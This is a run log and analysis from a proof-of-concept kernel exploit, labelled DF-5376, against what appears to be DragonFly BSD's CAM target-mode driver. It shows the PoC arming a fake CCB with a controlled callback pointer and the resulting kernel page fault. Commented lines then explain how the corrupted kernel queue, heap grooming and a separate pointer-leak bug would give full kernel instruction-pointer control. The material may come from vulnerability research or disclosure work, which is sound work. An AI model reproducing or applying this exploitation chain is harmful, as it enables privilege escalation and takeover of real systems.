DF-5376 / run.b.log
# DF-5376 mode B (RIP-control / kernel-queue-corruption run; guest dies) root@dfbsd# ./poc5376 b [+] DF-5376 mode b: target mode enabled on bus 2 [*] fake CCB armed: index=1 cbfcnp=0x414141414140; expect SWI camisr_runqueue -> cbfcnp call NOW [*] write() returned 8; SWI should call 0x414141414140 within milliseconds... (serial console:) Fatal trap 12: page fault while in kernel mode cpuid = 3; lapic id = 3 fault virtual address = 0x8004a1248 fault code = supervisor write data, page not present instruction pointer = 0x8:0xffffffff802b0169 current process = Idle kernel: type 12 trap, code=2 Stopped at swi_cambio+0x59: movq %rdx,0x48(%rax) # Interpretation: # 0x8004a1200 is the fake struct cam_sim inside the daemon's mmap page. # During write() (process context) xpt_action(XPT_ABORT) executed branch 1: # cam_ccbq_remove_ccb() heap surgery on the fake camq, # status write, xpt_freeze_devq(fake) qfrozen_cnt++, # xpt_done(fake) -> TAILQ_INSERT_TAIL(&cam_simq, fake_sim, links) # (KERNEL-GLOBAL cam_simq now points into attacker-chosen memory) # -> setsoftcambio(). # The cambio SWI then woke in kernel-thread context and began walking the # corrupted cam_simq (swi_cambio+0x59 writing through fake_sim->links), # faulting only because DF kernel threads run without the user pmap # mapped. With the fake tree placed in kernel-addressable memory (e.g. # inside the kernel CCB payload that targusermerge() copyin()s verbatim # from the daemon, heap-groomed; kernel pointers leakable via the # DF-2286 cbfcnp/path copyout class), camisr_runqueue() reaches # (*ccb_h->cbfcnp)(ccb_h->path->periph, ccb) # = call of 0x414141414140 -> full kernel RIP control.